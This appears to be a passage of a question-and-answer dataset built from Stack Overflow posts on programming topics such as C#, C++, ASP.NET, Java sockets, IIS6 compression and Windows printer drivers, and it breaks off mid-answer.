input stringlengths 51 42.3k | output stringlengths 18 55k |
|---|---|
Creating Local variables in .Net <p>I just want to know that creating local variables to accept the return value of function is going to hit memory usage or performance in .Net applications , especially in ASP.Net.</p>
<p>say</p>
<pre><code> MyObject myObject = Foo();
MyOtherObject myOtherObject = Boo();
SomeFuntion(myObject, myOtherObject);
</code></pre>
<p>OR</p>
<p>Should I use</p>
<pre><code> MyFunction(Foo(), Boo());
</code></pre>
<p>Certainly the former usage has a better readability.. But what about the memory usage and performance?</p>
<p>Thanks in advance
123Developer</p>
| <p>Don't optimise prematurely; in a release build it is quite likely that the compiler will optimise these away anyway! Either way, you are just talking a tiny amount of stack space for (presumably) a few references. Either approach is fine; go with whichever is more readable.</p>
|
Evaluation order of new expression? <p>In the following code sample, do the C++ standard guarantee that '++i' is evaluated after the memory allocation (call to operator new) but before the call to Xâs constructor?</p>
<pre><code>new X( ++i )
</code></pre>
| <p>From my copy of n2798:</p>
<blockquote>
<p><strong>5.3.4 New</strong></p>
<p>21 Whether the allocation function is called before evaluating the constructor arguments or after evaluating the constructor arguments but before entering the constructor is unspecified. It is also unspecified whether the arguments to a constructor are evaluated if the allocation function returns the null pointer or exits using an exception.</p>
</blockquote>
<p>Read in conjunction with (to avoid ambiguities):</p>
<blockquote>
<p><strong>5.3.4 New</strong></p>
<p>8 A new-expression obtains storage for the object by calling an allocation function (3.7.4.1). If the newexpression terminates by throwing an exception, it may release storage by calling a deallocation function (3.7.4.2). If the allocated type is a non-array type, the allocation functionâs name is operator new and the deallocation functionâs name is operator delete. If the allocated type is an array type, the allocation
functionâs name is operator new[] and the deallocation functionâs name is operator delete[]. [...]</p>
</blockquote>
<p>This pretty much answers the question. The answer is 'No'.</p>
|
How can I list all processes running in Windows? <p>I would like to find a way to loop through all the active processes and do diagnostics checks on them (mem usage, cpu time etc) kinda similar to the task manager. </p>
<p>The problem is broken down into two parts:</p>
<ol>
<li>Finding all the processes</li>
<li>Finding diagnostics attributes about them</li>
</ol>
<p>I am not sure even in what namespace to go looking about it. Any help / tips / links is grateful.</p>
| <p><strong>Finding all of the processes</strong></p>
<p>You can do this through the Process class</p>
<pre><code>using System.Diagnostics;
...
var allProcceses = Process.GetProcesses();
</code></pre>
<p><strong>Running Diagnostics</strong></p>
<p>Can you give us some more information here? It's not clear what you want to do.</p>
<p>The process class provides a bit of information though that might help you out. It is possible to query this class for </p>
<ul>
<li>All threads</li>
<li>Main Window Handle</li>
<li>All loaded modules</li>
<li>Various diagnostic information about Memory (Paged, Virtual, Working Set, etc ...)</li>
<li>Basic Process Information (id, name, disk location)</li>
</ul>
<p><strong>EDIT</strong></p>
<p>Op mentioned they want to get memory and CPU information. These properties are readily available on the Process class (returned by GetProcesses()). Below is the MSDN page that lists all of the supported properties. There are various memory and CPU ones available that will suite your needs.</p>
<p><a href="http://msdn.microsoft.com/en-us/library/system.diagnostics.process.aspx">http://msdn.microsoft.com/en-us/library/system.diagnostics.process.aspx</a></p>
<p><strong>Code:</strong></p>
<p>Add this line to your using list:</p>
<pre><code>using System.Diagnostics;
</code></pre>
<p>Now you can get a list of the processes with the Process.GetProcesses() method, as seen in this example:</p>
<pre><code>Process[] processlist = Process.GetProcesses();
foreach(Process theprocess in processlist){
Console.WriteLine(âProcess: {0} ID: {1}â, theprocess.ProcessName, theprocess.Id);
}
</code></pre>
|
Refreshing a SQL database connection <p>How do you refresh a database connection within a VB application to SQL Server 2005 so that whenever data is changed in SQL, such changes are picked up by the application? For now the application only picks up the changes after it has been restarted, and that is not what I want.</p>
| <p>You don't need to "refresh" a database connection. If your application is only picking up changes after it restarts, then there is something wrong with your transaction handling.</p>
|
Add a field to a Grails Domain Class? <p>I would like to add a field to an existing domain class. I do not want to lose my view files however as I know will happen if i run generate-all. Is there another way I can update the mapping etc?</p>
| <p>I think this is a common concern. </p>
<p>This is not a direct solution to your problem, but this is what I do and works very well for me. </p>
<ol>
<li><p>I never make direct modifications to the grails scaffolded artifacts (views and controllers) </p></li>
<li><p>I keep my production views/controllers separate from the scaffolded artifacts; through I use the scaffolded as the starting point of my application controllers and views. </p></li>
<li><p>If there are changes to the domain model, I re-generate the views and copy-paste (wherever possible) from scaffolded artifacts to hand-coded artifacts. </p></li>
<li><p>At some point, I either delete all the scaffolded artifacts from the app or just protect access to them. </p></li>
</ol>
<p>Hope this helps. </p>
|
Determining when IE activex control has been repainted <p>I was using spy++ and noticed that the IE control I have embedded in a windows form was periodically calling or sending WM_PAINT when it repaints itself. I'm trying to figure out how in C# code I can perform a C# method every time this control sends WM_PAINT. I know just enough pinvoke at this point to be dangerous.</p>
<p>Thanks in advance,</p>
<p>Bob</p>
| <p>You don't really need PInvoke to do this. The proper way is to use subclassing to handle specific Windows messages. Here's a link to do this:</p>
<p><a href="http://www2.sys-con.com/ITSG/virtualcd/Dotnet/archives/0112/hankins/index.html" rel="nofollow">Handle Windows Messages with .Net</a></p>
|
Is there a way to delay an event handler (say for 1 sec) in Windows Forms <p>I need to be able to delay the event handlers for some controls (like a button) to be fired for example after 1 sec of the actual event (click event for example) .. is this possible by the .net framework ?</p>
<p>I use a timer and call my code from the timer's tick event as below but I am not sure if this is the best approach !</p>
<pre><code>void onButtonClick( ..)
{
timer1.Enabled = true;
}
void onTimerTick( ..)
{
timer.Enabled = false;
CallMyCodeNow();
}
</code></pre>
| <p>Perhaps you could make a method that creates the timer?</p>
<pre><code>void onButtonClick(object sender, EventArgs e)
{
Delay(1000, (o,a) => MessageBox.Show("Test"));
}
static void Delay(int ms, EventHandler action)
{
var tmp = new Timer {Interval = ms};
tmp.Tick += new EventHandler((o, e) => tmp.Enabled = false);
tmp.Tick += action;
tmp.Enabled = true;
}
</code></pre>
|
Is this all for Garbage Collection in Objective-C? <p>Hi I just picked up Obj-C and quite dislike its manual memory management.</p>
<p>I decide to go with its Garbage Collection, by adding </p>
<pre><code>objc_startCollectorThread();//garbage collection
</code></pre>
<p>in my Main() and change the garbage collection value to [-fobjc-gc]</p>
<p><strong>So is that all I need</strong>? So I can program "freely" like I do in Java/Python..etc? </p>
| <p>Yes you are right, but in case any iPhone programmer comes by and thinks "oh sweet!", please note that the iPhone doesn't support Garbage Collection yet (ever?). So this is the MacOS only solution.</p>
|
How to enable Web Services Extension folder on IIS 6 <p>I'm trying to get .asp pages working on Windows Internet Information Server 6.0 on <strong>Win XP Pro</strong> <em>(I originally mistakenly posted this as Home)</em>.</p>
<p>I found instructions in several places that say I should enable it in the Web Services Extension folder.</p>
<p>Problem is that my IIS6 doesn't have that folder under the local computer.</p>
<p>Update: I tried getting it to work with IIS5 but (as noted below) the instructions call for a WSE folder that isn't present.</p>
<p>So I installed IIS6. Hence my question is about IIS6.</p>
<p>Do I perhaps need to uninstall IIS6</p>
| <p>IIRC XP has IIS 5.1, not 6.0, so the instructions for "Web Services Extension" do not apply</p>
<p>I recall IIS 5.1 only allowing ASP support on a virtual folder, not on the root level for some reason?</p>
<p>Have you run the IIS lockdown tool and locked out ASP? Need to undo that :-)</p>
<p>Check <a href="http://www.codinghorror.com/blog/archives/000329.html" rel="nofollow">http://www.codinghorror.com/blog/archives/000329.html</a> for other hints</p>
|
Standard Output from MSTest, NUnit, MbUnit, xUnit.NET test runners <p>How do you in any of the common .NET testing frameworks MSTest, NUnit, MbUnit, or xUnit.NET get the command line test runner to output a simple yes/no or true/false or 1/0 on whether all the tests passed or failed? </p>
<p>I'm open to workarounds like:<br />
1) no output if all the tests passed, output if anything fails.<br />
2) count of tests that failed. I could look for zero or non-zero values.<br />
3) other things similiar to #1 or #2</p>
<p>Which of these frameworks provide this kind of capability. I did some playing with MSTest today and didn't see a way to make MSTest.exe output something I could use. </p>
| <p>they all output XML if you want (esp MSTEST). You can use XSLT like <a href="http://preetsangha.blogspot.com/2008/05/decoding-ms-test-trx-file.html" rel="nofollow">my version</a> for MSTEST</p>
|
C++ templates, undefined reference <p>I have a function declared like so:</p>
<pre><code>template <typename T>
T read();
</code></pre>
<p>and defined like so:</p>
<pre><code>template <typename T>
T packetreader::read() {
offset += sizeof(T);
return *(T*)(buf+offset-sizeof(T));
}
</code></pre>
<p>However, when I try to use it in my main() function:</p>
<pre><code>packetreader reader;
reader.read<int>();
</code></pre>
<p>I get the following error from g++:</p>
<pre><code>g++ -o main main.o packet.o
main.o: In function `main':
main.cpp:(.text+0xcc): undefined reference to `int packetreader::read<int>()'
collect2: ld returned 1 exit status
make: *** [main] Error 1
</code></pre>
<p>Can anyone point me into the right direction?</p>
| <p>You need to use the <code>export</code> keyword. However, I don't think G++ has proper support, so you need to include the template function's definition in the header so the translation unit can use it. This is because the <code><int></code> 'version' of the template hasn't been created, only the <code><typename T></code> 'version.'</p>
<p>An easy way is to <code>#include</code> the .cpp file. However, this can cause problems, e.g. when other functions are in the .cpp file. It will also likely increase the compile time.</p>
<p>A clean way is to move your template functions into its own .cpp file, and include that in the header <em>or</em> use the <code>export</code> keyword and compile it separately.</p>
<p><a href="http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2003/n1426.pdf">More information on why you should try and put template function definitions in its header file (and ignore <code>export</code> altogether).</a></p>
|
Server Error <p>In my Project (ASP.NET,VB.NET ),some times Server Error is showing.
When this error is shown ,Users cannot submit their Applications,so that they have to re-type full details and submit again.How can I escape from these Server Errors.
I think the reason may be Memmory issues.Because if the user try to submit again(after Sign Out->Sign In ) then they can submit.Daily twicw or thrice Error is happening .If so how can i solve it.</p>
| <p>I think that you'll need to provide a bit more info to get meaningful solutions. </p>
<ul>
<li>Do you have server logs?</li>
<li>Can you debug through the app as the error occurs?</li>
<li>Does the error occur at a certain time of day, or after a certain regular action?</li>
<li>Does your app attempt to write to a file that may not be accessible?</li>
<li>is it possible that you are experiencing memory issues?</li>
</ul>
<p>the list could go on, best to do some more investigation and if a more specific issue comes to light edit your question with the extra detail.</p>
<p><strong>AFTER EDIT:</strong> </p>
<p>From the extra detail you've provided I wouldn't jump to memory as an issue, in signing out and back in the user is refreshing their session so everything is reset. If you are not seeing anything in your logs you'll need to look at your exception/error handling. </p>
<p>You just haven't provided enough info yet for us to work out the root issue, let alone suggest a solution. That's what you're seeing from all the answers here thus far. Find the event log info and there should be something there to help you, or at least something more to post here.</p>
|
std::vector on VisualStudio2008 appears to be suboptimally implemented - too many copy constructor calls <p>I've been comparing a STL implementation of a popular XmlRpc library with an implementation that mostly avoids STL. The STL implementation is much slower - I got 47s down to 4.5s. I've diagnosed some of the reasons: it's partly due to std::string being mis-used (e.g. the author should have used "const std::string&" wherever possible - don't just use std::string's as if they were Java strings), but it's also because copy constructors were being constantly called each time the vector outgrew its bounds, which was exceedingly often. The copy constructors were very slow because they did deep-copies of trees (of XmlRpc values).</p>
<p>I was told by someone else on StackOverflow that std::vector implementations typically double the size of the buffer each time they outgrow. This does not seem to be the case on VisualStudio 2008: to add 50 items to a std::vector took 177 calls of the copy constructor. Doubling each time should call the copy constructor 64 times. If you were very concerned about keeping memory usage low, then increasing by 50% each time should call the copy constructor 121 times. So where does the 177 come from?</p>
<p>My question is: (a) why is the copy constructor called so often? (b) is there any way to avoid using the copy constructor if you're just <em>moving</em> an object from one location to another? (In this case and indeed most cases a memcpy() would have sufficed - and this makes a BIG difference).</p>
<p>(NB: I know about vector::reserve(), I'm just a bit disappointed that application programmers would need to implement the doubling trick when something like this is already part of any good STL implementation.)</p>
<p>My test program:</p>
<pre><code>#include <string>
#include <iostream>
#include <vector>
using namespace std;
int constructorCalls;
int assignmentCalls;
int copyCalls;
class C {
int n;
public:
C(int _n) { n = _n; constructorCalls++; }
C(const C& orig) { copyCalls++; n = orig.n; }
void operator=(const C &orig) { assignmentCalls++; n = orig.n; }
};
int main(int argc, char* argv[])
{
std::vector<C> A;
//A.reserve(50);
for (int i=0; i < 50; i++)
A.push_back(i);
cout << "constructor calls = " << constructorCalls << "\n";
cout << "assignment calls = " << assignmentCalls << "\n";
cout << "copy calls = " << copyCalls << "\n";
return 0;
}
</code></pre>
| <p>Don't forget to count the copy constructor calls needed to <code>push_back</code> a temporary <code>C</code> object into the vector. Each iteration will call <code>C</code>'s copy constructor at least once.</p>
<p>If you add more printing code, it's a bit clearer what is going on:</p>
<pre><code>std::vector<C> A;
std::vector<C>::size_type prevCapacity = A.capacity();
for (int i=0; i < 50; i++) {
A.push_back(i);
if(prevCapacity != A.capacity()) {
cout << "capacity " << prevCapacity << " -> " << A.capacity() << "\n";
}
prevCapacity = A.capacity();
}
</code></pre>
<p>This has the following output:</p>
<pre><code>capacity 0 -> 1
capacity 1 -> 2
capacity 2 -> 3
capacity 3 -> 4
capacity 4 -> 6
capacity 6 -> 9
capacity 9 -> 13
capacity 13 -> 19
capacity 19 -> 28
capacity 28 -> 42
capacity 42 -> 63
</code></pre>
<p>So yes, the capacity increases by 50% each time, and this accounts for 127 of the copies:</p>
<pre><code>1 + 2 + 3 + 4 + 6 + 9 + 13 + 19 + 28 + 42 = 127
</code></pre>
<p>Add the 50 additional copies from 50 calls to <code>push_back</code> and you have 177:</p>
<pre><code>127 + 50 = 177
</code></pre>
|
Why Emacs/Vim/Textmate? Isn't Xcode good enough? <p>Hi I mostly do C++, Objective-C programming. And I found Xcode plus an auto completion/macro plugin (Completion Dictionary) quite adequate.</p>
<p>However, all people seem to praise over their pure text editors. I tried Textmate for a bit; liked its simplicity but dislike its files/framework handling.</p>
<p>Am I missing something here? Or, do Vim or Emacs have auto-completion as good as Xcode? </p>
| <p>Pull up a chair son, let me speak on this.</p>
<p>Well before the days of Xcode, there was VIM and Emacs. I know it's hard to imagine, but it's true.</p>
<p>Many people got accustomed to VIM/Emacs, and thus continue to use it.</p>
<p>Emacs is extremely customizable, and offers pretty much everything you can imagine (including a built in shrink and the towers of hanoi). You can easily call compilers from Emacs, and create your own extensions as needed.</p>
<p>VIM has incredible regex engine (Emacs does as well) and is very handy because (VI) comes with pretty much every Unix OS, and works fantastically if you don't have arrow keys (yeah yeah, real old school). People are very good with using keys to move around documents, without having to use the mouse. </p>
<p>The same is true with Emacs as well, but for me, I find cursor motion much easier on VIM.</p>
<p>The text editor war is fueled with as much religious zealotry as the Mac vs PC war, and the answer is pick the best that works for you. If you like Xcode, great, continue to use it, however good luck if you're ever forced to work on a PC or Linux machine. Personally, I use Emacs to code, VIM to manipulate text and Firefox to look at lolcats.</p>
|
Can Design-by-Contract be applied to dynamic languages as easily/well as to statically-typed ones? <p>The title pretty much sums up the gist.</p>
<p>I'm interested in whether it is possible to enable/disable contract enforcement(s) when using a dynamic language without running a serious risk of poorly/un-diagnosed failure?</p>
<p>If not, the crux seems (to me) to be that any enforcements are a required part of the component's logic, rather than optional/removable as per the spirit of removability of DbC's enforcements.</p>
| <p>Not only is it possible, there are real-world implementations of this and they've been around for years. Here's a <a href="http://portal.acm.org/citation.cfm?id=785590" rel="nofollow">DbC implementation</a> for Python that's <em>twelve years old</em>, for example.</p>
|
BASH ^word^replacement^ on all matches? <p>To clarify, I am looking for a way to perform a <em>global</em> search and replace on the previous command used. <code>^word^replacement^</code> only seems to replace the first match.</p>
<p>Is there some <code>set</code> option that is eluding me? </p>
| <p>Try this:</p>
<pre><code>$ echo oneone
oneone
$ !!:gs/one/two/ # Repeats last command; substitutes 'one' --> 'two'.
twotwo
</code></pre>
|
How are floating point literals in C interpreted? <p>In a C program, when you write a floating point literal like 3.14159 is there standard interpretation or is it compiler or architecture dependent? Java is <a href="http://java.sun.com/j2se/1.4.2/docs/api/java/lang/Double.html#valueOf%28java.lang.String%29" rel="nofollow">exceedingly clear</a> about how floating point strings are interpreted, but when I read K&R or other C documentation the issue seems swept under the rug.</p>
| <p>It is architecture dependent.
That generally means IEEE 754, but not necessarily.
The C standard (ISO 9899:1999) discusses this mainly in section 5.2.4.2.2 'Characteristics of floating types'.</p>
|
Calling into a shared object on a key-sequence from vi/Vim <p>I have a shared library (in binary form; I have the source) that I use to invert/cycle between symbols in source files in Visual Studio.</p>
<p>I would like to be able to use the same functionality in vi and/or Vim.</p>
<p>Specifically, what I'd like to do is the following scenario:</p>
<ul>
<li>the cursor is on a word</li>
<li>I press a key-sequence, e.g. CTRL-I</li>
<li>vi/Vim works out the whole of the word I'm on</li>
<li>vi/Vim invokes my shared library, passing the word, and receiving the invert/cycle replacement</li>
<li>vi/Wim replaces the original word with the new word</li>
</ul>
<p>I don't have any clue if/how to get vi/Vim to do this, and I'm not having any luck searching.</p>
<p>Any advice gratefully received ...</p>
| <p>Try</p>
<pre><code>inoremap <C-i> <esc>"hciw<C-R>=libcall('path/to/your.dll', 'func', @h)<CR>
</code></pre>
<p>What it does:</p>
<ul>
<li>create map for insert mode <Ctrl+i></li>
<li><esc> switch to normal mode "hciw move word under cursor into the register h</li>
<li><C-r>= insert into cursor position result of the next expression </li>
<li>libcall(...) calls function in the run-time library.</li>
<li>@h is the value of the 'h' register.</li>
</ul>
<p>In case you want to use simple binary that can be ran from the command line you can use</p>
<pre><code>inoremap <C-i> <esc>"hciw<C-R>=substitute(system('mybin --word='.@h), "\n", '', 'g')<CR>
</code></pre>
|
Do you compile and run code very often or write large code pieces at once? <p>When you code, do you write a few lines at a time, compile and run, write a little more, compile and run etc.? Or do you usually write large chunks at once without compiling? Has this work style changed over time for you?</p>
| <p><strong>Always</strong> keep your code in a working state. Write some code, compile it and test that it runs correctly. This is the habit that had kept me off the debugger for years, at least for new code I've written myself. It's one of the most important habits a programmer can acquire. When I see a new coder writing dozens of lines and then spending an hour compiling and debugging them, I immediately know how to help him become much more productive.</p>
<p>Better yet, write unit tests to make sure these correctness tests persist, because otherwise you're just throwing a lot of little tests away, and these may be useful in the future. This was an insight a few years ago, but then I discovered it's actually very popular. Your language of choice certainly has a few libraries / frameworks that make unit-testing easier - you should definitely learn about them.</p>
<p>Some people will take this farther and insist that you must write tests before the code. This is taking it too far, I feel, especially for a newbie. What's really important is that you have the tests. Which comes first is certainly less critical.</p>
|
using "?" in SVG href <p>I'm having some major problems trying to get a "?" inside of hrefs that are part of my SVG scripts. I want to link to other parts of my website from inside of my SVGs, and most of my pages are dynamic that require $_GET variables to create them on the fly. SVG seems to throw a spaz every time I try to include question marks inside the href, but I need to do that in order to deliver the $_GET variables... is there another way??!</p>
| <p>Have you try to replace it with the ascii code instead? &#63;
In the same way that you have to replace the & by &amp;</p>
|
Minimum permissions for a SQL server "heartbeat" check? <p>We are developing an application to do a "hearbeat" test of all our SQL servers (2000, 2005 and 2008), and we're trying to figure out the minimum permissions necessary on the SQL server to do that. (Platform involved is TBD, but should use a standard connection string).</p>
<p>We are considering using a "SELECT @@VERSION" query, which should be all that is necessary to determine that the sql server is up and running and responding to requests.</p>
<p>What are the minimum SQL permissions necessary to simply connect to the server with a connection string? (We don't even want to give DataReader, if at all possible) Will those minimum permissions allow me to do the above query? Is there a better/more standard technique for doing this? Will SQL 2000, 2005 and 2008 behave differently?</p>
| <p>Just create the login used by the monitor code. On SQL Server 2005 and 2008, you'll also need <code>GRANT CONNECT SQL TO (login)</code>, otherwise it's the same.</p>
<p>No other rights are needed for <code>SELECT @@VERSION</code>. The <code>db_datareader</code> you mention is within a database, not the server level.</p>
<p>SQLPing will detect an installation but not always tell you if it's running.</p>
<p>When do do run <code>SELECT @@VERSION</code>, make sure that you open and drop a connection. A connecion left open may still work even if the SQL Servr is not accepting new connections.</p>
|
Socket ReadFile Issue <p>We have a application which uses ReadFile to read a socket . In one of the scenarios the ReadFile gets a call saying that there are 2 bytes to read , but when the ReadFile tries to read this it return with bytesread as 0 . Does this mean that the socket on the other end has closed down ? . I mean does it necessarily mean that the socket on the other end has closed down when ReadFile reads 0 bytes ? . or could it be a error ?</p>
| <p>When ReadFile() finds that there're two bytes to read, it at the same time does read these two bytes and they are removed from the socket. If the sender doesn't send more data, the next call will show that there's nothing to read. To determine if an error occured you have to check the retun value of ReadFile().</p>
|
Getting real row indices of selected rows in JTable when columns are alphabetized <p>If the columns of my JTable are unalphabetized, I can use getSelectedRows() and get values of their rows without any trouble. But, if the user clicks on the column name and the rows are alphabetized in that column, getSelectedRows() returns not the currently selected rows, but the rows that were originally there before alphabetization.</p>
<p>How can I get the currently selected rows when the columns are alphabetized?</p>
| <p>Use this code you will get the correct rows you visually selected.</p>
<pre><code>int[] row_indexes=jTable1.getSelectedRows();
for(int i=0;i<row_indexes.length;i++){
domain=jTable1.getValueAt(row_indexes[i], 1).toString();
System.out.println(this, domain);
}
</code></pre>
|
What does 'end of stream' mean when working with sockets <p>When working with Sockets in Java, how can you tell whether the client has finished sending all (binary) data, before you could start processing them. Consider for example:</p>
<pre><code>istream = new BufferedInputStream (socket.getInputStream());
ostream = new BufferedOutputStream(socket.getOutputStream());
byte[] buffer = new byte[BUFFER_SIZE];
int count;
while(istream.available() > 0 && (count = istream.read(buffer)) != -1)
{
// do something..
}
// assuming all input has been read
ostream.write(getResponse());
ostream.flush();
</code></pre>
<p>I've read similar posts on SO such as <a href="http://stackoverflow.com/questions/534964/why-is-the-end-of-the-input-stream-never-reached-using-java-sockets">this</a>, but couldn't find a conclusive answer. While my solution above works, my understanding is that you can never really tell if the client has finished sending all data. If for instance the client socket sends a few chunks of data and then blocks waiting for data from another data source before it could send more data, the code above may very well assume that the client has finished sending all data since istream.available() will return 0 for the <em>current</em> stream of bytes.</p>
| <p>Yes, you're right - using <code>available()</code> like this is unreliable. Personally I very rarely use <code>available()</code>. If you want to read until you reach the end of the <em>stream</em> (as per the question title), keep calling <code>read()</code> until it returns -1. That's the easy bit. The hard bit is if you don't want the end of the stream, but the end of "what the server wants to send you at the moment."</p>
<p>As the others have said, if you need to have a conversation over a socket, you <em>must</em> make the protocol explain where the data finishes. Personally I prefer the "length prefix" solution to the "end of message token" solution where it's possible - it generally makes the reading code a lot simpler. However, it can make the <em>writing</em> code harder, as you need to work out the length before you send anything. This is a pain if you could be sending a lot of data.</p>
<p>Of course, you can mix and match solutions - in particular, if your protocol deals with both text and binary data, I would <em>strongly</em> recommend length-prefixing strings rather than null-terminating them (or anything similar). Decoding string data tends to be a lot easier if you can pass the decoder a complete array of bytes and just get a string back - you don't need to worry about reading to half way through a character, for example. You could use this as part of your protocol but still have overall "records" (or whatever you're transmitting) with an "end of data" record to let the reader process the data and respond.</p>
<p>Of course, all of this protocol design stuff is moot if you're not in control of the protocol :(</p>
|
ASP.NET MVC compression options in IIS6 <p>For now I'm stuck with IIS6 for ASP.NET-MVC (as in I cant upgrade to Server 2008 yet). It doesnt seem to know that my RESTful URLS are dynamic files and isn't compressing them.</p>
<p>All my old .aspx files are compressed (as seen in Fiddler), but not the <code>'/products/1001'</code> type URLS.</p>
<p>Is there any way to get IIS6 to compress my ActionResults in IIS6 without using something like an <a href="http://weblogs.asp.net/rashid/archive/2008/03/28/asp-net-mvc-action-filter-caching-and-compression.aspx" rel="nofollow">ActionFilter for compression</a>.</p>
<p>I'm assuming IIS7 is clever enough to know they're dynamic right.</p>
<p>Bonus points if you can tell me how IIS6 even knows which files are dynamic in the first place!</p>
| <p>As HTTP compression for ASP.NET usually has been implemented using HttpModules since version 1.0, and HttpModules still belong to the ASP.NET request pipeline used by the MVC framework, you can still use a HttpModule to inject a GZIP or deflate response filter.</p>
<p>Here you can find a very nice, open-source, ready to ship implementation:
<a href="http://blowery.org/httpcompress/">HttpCompress by Ben Lowery</a> (download at <a href="http://code.google.com/p/httpcompress/">Google Code</a>)</p>
<p>You just have to add a reference to the DLL, and add a few lines to your web.config. It already handles very exotic and rare cases and exceptions. You can add exclusions to your web.config, not based on file extensions (like in IIS6), but on mime type, which is probably exactly what you need.</p>
<p>I should add that I have actually running a ASP.NET MVC website on IIS6 using this library, so I can confirm that this works in practice.</p>
|
CURL import character encoding problem <p>I'm using CURL to import some code. However, in french, all the characters come out funny. For example: Bonjourà ...</p>
<p>I don't have access to change anything on the imported code. Is there anything I can do my side to fix this?</p>
<p>Thanks</p>
| <p>Like Jon Skeet pointed it's difficult to understand your situation, however if you have access only to final text, you can try to use <strong>iconv</strong> for changing text encoding. </p>
<p>I.e.</p>
<pre><code>$text = iconv("Windows-1252","UTF-8",$text);
</code></pre>
<p>I've had similar issue time ago (with Italian language and special chars) and I've solved it in this way. </p>
<p>Try different combination (UTF-8, ISO-8859-1, Windows-1252).</p>
|
Writing a Windows Printer Driver <p>I want to write a application in C++ or C# that will behave as a printer driver when installed. It will be available in the drop down list in Print dialog but instead of printing it will call into my code.</p>
<p>I think there may be some interfaces that Windows provide to write printer drivers.</p>
| <p>Windows provides loads of interfaces. Do you know what sort of a printer driver you want to write? At present, Windows supports three flavors of printer drivers -- PostScript, Unidrv and XPSDrv (the latter on XP/2003 Server with EP 1.0 and upwards only). Most of the time, it suffices to write a driver plug-in instead. Read up on INF architecture to know these things get installed, specially the section on minidrivers. </p>
<p>As suggested, you will need the WDK to be able to build a driver or a plug-in thereof. Note that drivers do not use the Visual Studio IDE or compilers. The WDK comes with a compiler of its own. You can always hook up the latter with VS, but that's a different story.</p>
<p>The WDK has setups to target different OS-es. You will have to know which OS (or set of OS-es) you want to address and choose the appropriate setup.</p>
<blockquote>
<p>I want to write a simple driver that will displays in the list of printers. </p>
</blockquote>
<p>I don't see how that will be helpful. If you are writing a driver, why would you want a list of all other drivers present on the system?</p>
<blockquote>
<p>Printing to this driver will call into my code so that I can do stuff like create a PDF of the document, calling the Web Service etc.</p>
</blockquote>
<p>Interesting! You can achieve all those things in a UI plug-in. An UI plug-in is a dll that is loaded when you select the <code>Advanced</code> driver properties. </p>
<p>To get started with UI plug-ins take a look at the sample <code>oemui</code> source code in the WDK.</p>
|
Can I register a .it domain name for a company outside of Italy? <p>I've got a domain name that would work nicely with a .it domain name (e.g. redd.it). This is for a web application I'm building, which if it ever generates revenue will be for a company in the US. Is this allowed?</p>
| <p>According to their <a href="http://www.nic.it/en/faq/faq-nomi.html#nomi6">FAQ</a>, you need to have an office within EU.</p>
|
How to use assembly of one application in to another application? <p>I want to use assembly of one application into another. There is one assembly in one application "EventCalendar" which is registered as </p>
<pre><code><%@ Register TagPrefix="ec" Namespace="ControlCalender" Assembly="EventCalendar" %>
</code></pre>
<p>and this is used as control as </p>
<pre><code><ec:EventCalendar runat="server" ID="eventscalendar" DataSourceID="sqldatasource1" BorderWidth="0" DayField="starttime" ShowTitle="true" CssClass="eventmonthtable">
<%-- more code --%>
</ec:EventCalendar>
</code></pre>
<p>Now i want to apply same functionality in another application. how should i use this assembly in another application? Thanks in advance.</p>
| <p>Since you've tagged it as ASP.NET I assuming you want to refer to an assembly in your web application. All you need to do is put the dll in the bin folder of your web app.</p>
<p>Beyond that I think you need to be more specific =)</p>
|
Opening a VB6 form from WPF application <p>We are currently working on porting an old VB6 application to WPF. The plan, in phase one, is to port several key forms and not all the application. Its been brought up that we might try and open some of the old VB6 form from within the WPF application (as modal forms), thus providing greater functionality then intended for the first phase.</p>
<p>My question for you friends, first of all, is this kind of abomination :) even possible? Can VB6 forms can be opened from a WPF application? </p>
<p>Thanks,
Shahaf.</p>
| <p>Yes this is possible; depending on how hard you're willing to work. The key scenarios that are supported are as follows (note: there are other supported scenarios but these are the <strong>key</strong> ones):</p>
<ol>
<li>WPF -> WinForms</li>
<li>WinForms -> WPF</li>
</ol>
<p>Given that with VB6 your objects are all COM objects, you can host them in WPF via WinForms. This is the location on MSDN where I'd recommend you start:</p>
<ul>
<li><a href="http://msdn.microsoft.com/en-us/library/ms742522.aspx" rel="nofollow">WPF and Win32 Interoperation
Overview</a></li>
</ul>
<p>There are also a couple of really good books on WPF that cover interop with WPF (both directions), in order of preference on this topic:</p>
<ul>
<li>WPF Unleashed (Adam Nathan)</li>
<li>Programming WPF (Chris Sells and Ian Griffiths)</li>
</ul>
<p>I hope this helps.</p>
|
C# adding referenes at run time <p>Sorry if it is a duplicate post.
<a href="http://stackoverflow.com/questions/629414/adding-references">link text</a></p>
<p>but i didnt get any clear solution.. </p>
<p>my application loads various dll, and processes them. so i need to add the dlls in my references list at run-time.</p>
<p>how can i add an assembly(dll) as reference in a C# project at run time.?! i need to add a reference at run time.!? i.e normally we add references by <strong>Right-Clicking References in Solution Explorer</strong> and we can browse for any dll and add it in references. i need to do this using code.</p>
<pre><code>using System;
using System.Collections.Generic;
using System.Text;
using System.Reflection;
namespace GetType_success
{
class Program
{
static void Main(string[] args)
{
Assembly a = Assembly.LoadFrom(@"C:\Documents and Settings\E454935\My Documents\Visual Studio 2005\Projects\nunit_dll_hutt\for_hutt_proj\bin\Debug\for_hutt_proj.dll");
Type t = Type.GetType("for_hutt_proj.Class1,for_hutt_proj");
}
}
}
</code></pre>
<p>Here is the code of the Class library for_hutt_proj
using System;
using System.Collections.Generic;
using System.Text;</p>
<pre><code>namespace for_hutt_proj
{
public class Class1
{
public int add(int a, int b)
{
int c = 0;
c = a + b;
return c;
}
}
}
</code></pre>
<p>where, the dll has just an add method returing int.
if i add this dll manually in RightClicking and adding references in Solution explorer, 't' has proper type. else it has null.
but i need to add this dll as reference to my project at run time i.e using code and not through UI. how can i do this at run time.?</p>
<p>thanks in advance.</p>
| <p>i got the solution.
if i use, the below code its working fine. </p>
<p>Type type = asm.GetType("for_hutt_proj.class1", false, true);</p>
<p>credits to Marc Gravell.</p>
|
Print php array in xslt <p>Is there any way to print a php array in xslt? I'm working with php sessions and trying to print the hole array in the xslt stylesheet.</p>
| <p>To use your array in a XSLT stylesheet you first have to convert your array into a XML representation. This representation strongly depends on your array-structure. A simple way would be:</p>
<pre><code>$array = (
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3'
);
// ext/DOM can also be used to create XML representation
$xml = new XMLWriter();
$xml->openMemory();
$xml->startDocument('1.0', 'UTF-8');
$xml->startElement('array');
// simple one-dimensional array-traversal - depending on your array structure this can be much more complicated (e.g. recursion)
foreach ($array as $key => $value) {
